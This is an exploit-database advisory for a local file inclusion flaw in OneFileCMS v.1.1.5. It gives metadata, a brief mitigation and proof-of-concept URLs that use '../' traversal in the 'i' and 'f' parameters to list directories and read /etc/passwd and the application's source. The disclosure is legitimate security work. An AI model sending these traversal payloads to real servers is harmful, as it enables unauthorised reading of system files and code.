OneFileCMS v.1.1.5 Local File Inclusion Vulnerability

vendor:

OneFileCMS

by:

mr.pr0n

4,3

CVSS

MEDIUM

Local File Inclusion

CWE

Product Name: OneFileCMS

Affected Version From: OneFileCMS v.1.1.5

Affected Version To: OneFileCMS v.1.1.5

Patch Exists: YES

Related CWE: N/A

CPE: a:rocktronica:onefilecms

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux Fedora 14

2012

OneFileCMS v.1.1.5 Local File Inclusion Vulnerability

OneFileCMS is just that. It's a flat, light, one file CMS (Content Management System) entirely contained in an easy-to-implement, highly customizable, database-less PHP script. Coupling a utilitarian code editor with all the basic necessities of an FTP application, OneFileCMS can maintain a whole website completely in-browser without any external programs. Directory Listing, using the 'i' parameter: http://TARGET/onefilecms/onefilecms.php?i=../../../../ Read local files, using the 'f' parameter: http://TARGET/onefilecms/onefilecms.php?f=../../../../etc/passwd http://TARGET/onefilecms/onefilecms.php?f=../../../../var/www/html/onefilecms/onefilecms.php

Mitigation:

Ensure that user input is properly sanitized and validated before being used in file operations.

Source

Exploit-DB raw data:

# Exploit Title: OneFileCMS v.1.1.5 Local File Inclusion Vulnerability
# Google Dork: --
# Date: 16/03/2012
# Author: mr.pr0n (@_pr0n_)
# Homepage: http://ghostinthelab.wordpress.com/ - http://s3cure.gr
# Software Link: https://github.com/rocktronica/OneFileCMS
# Version: OneFileCMS v.1.1.5
# Tested on: Linux Fedora 14

===============
Description
===============
OneFileCMS is just that. It's a flat, light, one file CMS (Content
Management System) entirely contained in an easy-to-implement, highly
customizable, database-less PHP script. Coupling a utilitarian code editor
with all the basic necessities of an FTP application, OneFileCMS can
maintain a whole website completely in-browser without any external
programs.

=======================================================
[!] All vulnerabilities requires authentication. [!]
=======================================================


Directory Listing, using the "i" parameter:
http://TARGET/onefilecms/onefilecms.php?i=../../../../


Read local files, using the "f" parameter:
http://TARGET/onefilecms/onefilecms.php?f=../../../../etc/passwd
http://TARGET/onefilecms/onefilecms.php?f=../../../../var/www/html/onefilecms/onefilecms.php

-- 
http://ghostinthelab.wordpress.com